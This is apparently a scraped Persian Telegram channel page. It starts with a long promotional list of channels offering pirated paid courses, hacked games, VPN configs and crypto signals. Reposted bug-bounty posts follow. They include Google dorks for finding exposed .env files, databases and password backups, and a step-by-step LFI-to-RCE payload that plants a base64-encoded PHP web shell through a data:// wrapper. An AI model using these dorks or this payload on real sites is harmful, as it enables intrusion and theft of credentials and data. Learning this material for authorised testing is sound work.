Телеграм канал «Library Sec Official»

❌فرصت عضویت به پایان رسید

🚫در حال پاک کردن
■■■■■■■■■□99%
  Done...✅

🤩🤩🤩🤩🤩🤩🤩🤩🤩
🆕به مناسبت چند ساله شدن عمر چنلمون، لیست چنل های ویژه که خودم جز اعضای 👑 هستم رو به 100 نفر اول رایگان میدیم و بعد از 100 نفر به طور خودکار لینک باطل میشه جوین بدین
🤩🤩🤩🤩🤩🤩🤩🤩🤩

انگلیسی & کوئیز
🔹JOIN

با کانال آراء و مطالب حقوقی به روز باشید
🔸JOIN

کانال تخصصی علم سیاست
🔹JOIN

خرید مقاله، سایتیشن و ثبت اختراع
🔸JOIN

100ها گیگ پکیج آموزشی فول رایگان
🔹JOIN

بيشتر بدانيم بهتر زندگى كنيم
🔸JOIN

اموزش کاریزما و ایده رابطه
🔹JOIN

دانلود و برسی آثار فاخر سینمای هنری جهان
🔸JOIN

پکیج های قانون زندگی و توسعه فردی
🔹JOIN

کانال VIP ما رایگان شد
🔸JOIN

آموزش مقاله نویسی با هوش مصنوعی
🔹JOIN

دانلود پکیج های پولی فرادرس (( رایگان ))
🔸JOIN

کسب درامد دلاری فقط اینجا
🔹JOIN

بانک آگهی های استخدامی
🔸JOIN

۳۰۰ مجموعه کارتون انگلیسی
🔹JOIN

آموزش تکنیک های زبان انگلیسی
🔸JOIN

آموزش سواد مالی و اقتصادی به زبان ساده
🔹JOIN

کیهانشناسی و کوانتوم
🔸JOIN

اینجا کلی لغت انگلیسی یاد بگیر
🔹JOIN

آموزش صفر تا صد انگلیسی
🔸JOIN

نکات کاربردی TOEFL و IELTS
🔹JOIN

999»گیگابایت پکیج»100%مفت رایگان
🔸JOIN

وکلای دادگستری/ تخصصی
🔹JOIN

ارزش این کانال 200میلیون تخمین شده
🔸JOIN

استخدام سراسری دانشجویان
🔹JOIN

مکالمات انگلیسی با ترجمه و فایل صوتی
🔸JOIN

کتاب های صوتی؛ راز های موفقیت
🔹JOIN

منبع برنامه‌های مود شده اندروید
🔸JOIN

کلی فیلم امریکایی با دو زیرنویس همزمان
🔹JOIN

آموزش مفتی هوش مصنوعی و 🇮‌‌🇹
🔸JOIN

اموزش زبان انگلیسی کمتر ااز2 ماه
🔹JOIN

استخدام استخدام
🔸JOIN

منبع بیو و والپیپرهای خفن
🔹JOIN

مرجع کامل آهنگ‌های سه‌بعدی (3D)
🔸JOIN

کاریابی دانشجویی / درآمدزایی
🔹JOIN

ادیتــ𝗘𝗱𝗶𝘁ــور شووو فیلترشکن رایگان!
🔸JOIN

مرجع آهنگ های هشت بعدی 8D
🔹JOIN

بانک PDF فایل کتاب جزوه همینجاست
🔸JOIN

پکیج های ذهن ثروت ساز
🔹JOIN

دانشگاه آنلاین روانشناسی در تلگرام
🔸JOIN

آگهی‌های درسی و فرصت‌های شغلی
🔹JOIN

آموزش مفتی برنامه نویسی 100% رایگان
🔸JOIN

انفجار اسپیکینگ و لیسنینگ
🔹JOIN

پکیج های 2020 تا 2026
🔸JOIN

کارپاره وقت دانشجویی با حقوق بالا
🔹JOIN

هر ترفندی میخوای رایگان دانلود کن
🔸JOIN

آموزش تخصصی اکسل، حسابداری و بورس
🔹JOIN

بانک مقالات، پروپوزال، پایاننامه و رساله
🔸JOIN

کالوکیشنهای کاربردی انگلیسی
🔹JOIN

اصطلاحات کاربردی انگلیسی
🔸JOIN

اصطلاحات روزمره انگلیسی
🔹JOIN

مطالب و جزوه های حسابداری
🔸JOIN

مرجع آموزش تخصصی روابط بین‌الملل
🔹JOIN

کانفیگ V2RAYNG و پروکسی نامحدود
🔸JOIN

آموزش 0/100 اکسل، حسابداری و مالی
🔹JOIN

اجتماع بزرگ حقوق خواندگان
🔸JOIN

آموزش کامل « دستورات ترموکس »
🔹JOIN

آموزش های طلایی کامپیوتر و موبایل
🔸JOIN

منبع تمام بازی های هک شده
🔹JOIN

2 ترابایت پکیج پولی رایگان
🔸JOIN

انگلیسی ۵ دقیقه ای با استاد نیتیو
🔹JOIN

داستانهای مصور صوتی انگلیسی
🔸JOIN

آموزش مفتی سیرتاپیاز هک و امنیت
🔹JOIN

سیگنال رایگان ارز دیجیتال با سود بالا
🔸JOIN

آموزش پایه تا پیشرفته امنیت و هک
🔹JOIN

بانک بزرگ استخدامی رایگان VIP
🔸JOIN

سیر تا پیاز انگلیسی قورت بده
🔹JOIN

آموزش تخصصی برنامه نویسی برای همه
🔸JOIN

فول پکیج های پولی رو رایگان دانلود کنید
🔹JOIN

مرجع ایمووی های خاص
🔸JOIN

ورزش | سلامتی | باشگاه
🔹JOIN

گرامر کامل انگلیسی
🔸JOIN

ابر کانال حسابداری و مالیاتی
🔹JOIN

مبتکر یادگیری زبان انگلیسی در منزل
🔸JOIN

بانک تمامی پکیج های پولی رایگان
🔹JOIN

موفقیت ، استخدامی ، پول پارو کن
🔸JOIN

آموزش هک و امنیت از سطح صفر
🔹JOIN

خود آموزهای زبان انگلیسی
🔸JOIN

صفرتاصد هک و امنیت رو قورت بده
🔹JOIN

هنر خوانش و تحلیل متن
🔸JOIN

هوش مصنوعی | یادگیری ماشین | علم داده
🔹JOIN

پکیج های ناب بورسی و موفقیت
🔸JOIN

صفر تا صد‌🇪‌‌🇩‌‌🇮‌‌🇹‌با موبایل
🔹JOIN

انگلیسی با فیلم و داستان
🔸JOIN

پادکست رایگان انگلیسی
🔹JOIN

۳۶۳ کارتون ۸ دقیقه‌ای برای تقویت انگلیسی
🔸JOIN

آموزش جامع هک و امنیت 100% رایگان
🔹JOIN

آرشیو جامع کتابخانه مجازی
🔸JOIN

همه کتاب های صوتی و پی دی اف...
🔹JOIN

کتب صوتی نایاب / زندگینامۀ مشاهیر و...
🔸JOIN

یه سری Google Dorks سریع و simple هستن که حتماً باید طی recon روی تارگتت اعمال کنی. 
اینا اغلب اطلاعات sensitive مثل.env files، database dumpها، config fileها و حتی backupها رو reveal میکنن.

۱. Exposed.env Files 
   intitle:"Index of" ".env" 
   "DB_PASSWORD" filetype:env 
   "APP_ENV=local" | "DB_HOST=127.0.0.1"

۲. Exposed SQLite Databases 
   intitle:"Index of" ".sqlite" 
   intitle:"Index of" "db.sqlite" 
   filetype:sqlite | filetype:sqlite3 | filetype:db

۳. Misconfigured Laravel یا Public Folder Exposure 
   inurl:/public/.env 
   inurl:/public/db.sqlite 
   intitle:"Index of" inurl:/public/

۴. Backup / Config Files (اغلب حاوی اطلاعات sensitive) 
   intitle:"Index of" "backup" 
   intitle:"Index of" "config" 
   ext:sql | ext:bak | ext:old | ext:backup

۵. Generic Index Dump 
   intitle:"Index of /" +passwd 
   intitle:"Index of /" +passwords
قبل از استفاده از این dorkها، scopeت رو با site:target.com narrow down کن، بعد dork خاص رو apply کن تا فقط روی تارگتت focus کنی.

کدوم Google Dork رو در reconت استفاده کردی که.env یا backup expose کرد و bounty داد؟ تجربت رو کامنت کن

@TryHackBox
#باگ_بانتی

🔥 LFI به RCE via PHP Wrapper (بدون نیاز به Log File!) ⚡

LFI
داری اما با log poisoning یا تریک‌های دیگه luck نداری؟ این روش killer رو با PHP wrapperها امتحان کن:

مثال param vulnerable: 

page=../../../../etc/passwd

حالا PHP shellت رو با base64 encoding بساز: 
echo '<?php system($_GET["cmd"]);?>' | base64
نتیجه رو می‌گیری: 
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=
URL-encodeش کن: 
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D

Payload نهایی (با data:// wrapper): 
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D&cmd=id 
BOOM! Remote Code Execution. 💥

من یه روش wild هم دارم برای رفتن از LFI به RCE با استفاده از leaked phpinfo() page. می‌خوای؟ بگو بدونم.

کدوم LFI رو با data:// wrapper به RCE تبدیل کردی که shell داد و bounty شد؟ تجربت رو کامنت کن


@TryHackBox
#باگ_بانتی

⚡ سری Bash برای باگ هانترها

قسمت ۲

چندین folder رو با one-liner بساز: 
mkdir {dev,test,prod}
این command همزمان ۳ directory (dev، test، prod) میسازه.

ایجاد چندین File به طور Efficient: 
touch {file1,file2,file3}.txt
Fileها مثل file1.txt، file2.txt، file3.txt ساخته میشن.

تولید Fileها با Numeric Sequences: 
seq -w 1 10 | xargs -I {} touch file{}.txt

این sequence fileهایی مثل: 
file01.txt، file02.txt، file03.txt.... تا file10.txt می‌سازه.

با pro Bash commandها bug huntingت رو boost کن must برای هر hacker! 
فراموش نکن react کن 🔥


@TryHackBox
#باگ_بانتی

🔥 ۱. کمتر یاد بگیر، بیشتر تمرین کن.

🔥 ۲. ابزارها بدون دانش core هیچی نیستن.

🔥 ۳. دنبال کردن باگ‌ های basic تو رو elite نمیکنه.

ا🔥 ۴. Pro hunterها exploitهای جدید میسازن، نه کپی قدیمی‌ ها رو.

🔥 ۵. فراتر از checklistها فکر کن مثل یه attacker فکر کن.

کدوم نکته‌ش برات جالب‌ تر بود ؟


@TryHackBox
#باگ_بانتی